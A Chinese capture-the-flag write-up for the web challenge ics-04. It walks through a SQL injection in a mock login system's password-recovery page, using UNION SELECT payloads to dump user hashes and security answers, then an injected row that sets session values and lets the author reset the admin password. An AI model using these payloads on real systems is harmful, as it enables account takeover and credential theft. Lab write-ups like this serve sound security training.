攻防世界-web:ics-04
题目描述
工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。
题目截图
解题过程
(1)跟具题目描述,可以确定解题焦点应该放在登录界面跟注册界面
我们先尝试注册一个用户
用户名:user1
密码:1
密保问题:1
密保答案:1
然后登录
返回了普通用户没有什么用
所以我们必须以管理员用户登录才能获取flag
可以看到这个登录页面存在密码找回功能
经过测试,发现这个页面存在SQL注入漏洞
当在用户名框内输入1'OR(1)OR'时,页面发生了变化,成功绕过用户名检查。
后面就是SQL注入常规操作。
我尝试order by 操作,发现成功不了,可能是后台过滤了什么。
于是直接尝试union select 操作。
当测试到SQL:1' union select 1,2,3,4#时,发现页面显示正常。
密保问题处显示3,表示3的位置为显示位。接下来就顺理成章了。
查数据库名
SQL:1' union select 1,2,database(),4#
发现无法得到数据库名,可能后台过滤了。
SQL:1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#
得到数据库名:cetc004
查表名
SQL:1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'cetc004'#
得到数据表:user
查列名
SQL:1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#
得到列名:username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
列名好多,可是有用的就前面几个:username,password,question,answer
查用户
SQL:1' union select 1,2,group_concat(username),4 from cetc004.user#
(注意:直接拼接user表查询不出数据)
用户名:c3tlwDmIn23,user,user1
查密码
SQL:1' union select 1,2,group_concat(password),4 from cetc004.user#
密码:2f8667f381ff50ced6a3edc259260ba9,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b
查问题
SQL:1' union select 1,2,group_concat(question),4 from cetc004.user#
问题:cetc,1,1
查答案
SQL:1' union select 1,2,group_concat(answer),4 from cetc004.user#
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,1,1
改密码
用户名:c3tlwDmIn23
问题:cetc
答案:cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
原始密码:不知道(数据库里查询的是MD5值,不是原始密码,利用在线md5爆破没结果。)
题目做到这里,感觉应该要结束了,但是不知道如何继续了。
这个时候我们看看更改密码的请求包
发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析,可以发现每次查询用户成功后,就会返回一个PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,一般是用户凭证信息,例如用户ID,用户密码等。
例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。
function login($username,$password)
{
....sql查询
if(登录成功)
{
session_start();
$_SESSION['username']=$username;
$_SESSION['password']=$password;
}
}
而这道题后台大概的修改密码的php代码可以为猜测如下:
function check_user($username)
{
$sql = "select * from user where username = '$username'";
$row = db_query($sql);
if(count($row)>0)
{
session_start();
$_SESSION['islogin'] = true;
$_SESSION['username']=$row[0]['username'];
$_SESSION['password']=$row[0]['password'];
$_SESSION['question']=$row[0]['question'];
$_SESSION['answer'] =$row[0]['answer'];
return true;
}
else
{
return false;
}
}
function update_password($answer,$password)
{
session_start();
if($_SESSION['islogin'])
{
if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
{
session_start();
$_SESSION['auth'] = true;
return true;
}
else
{
return false;
}
}
return false;
}
function change_password($password)
{
session_start();
if($_SESSION['auth']&&$_SESSION['islogin'])
{
$password = md5($password);
$sql = "update user set password='$password' where username='$_SESSION['username']'";
db_query($sql);
return true;
}
return false;
}
可以看出,我们只要人为的查询出我们知道信息,然后把这些信息存储在session里,参与后续的判断,就可以实现其他用户密码的修改。
SQL:1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
其中202cb962ac59075b964b07152d234b70是 123 md5加密后的值。
成功进入修改密码界面。
我们输入新密码,修改成功。
尝试登录
得到flag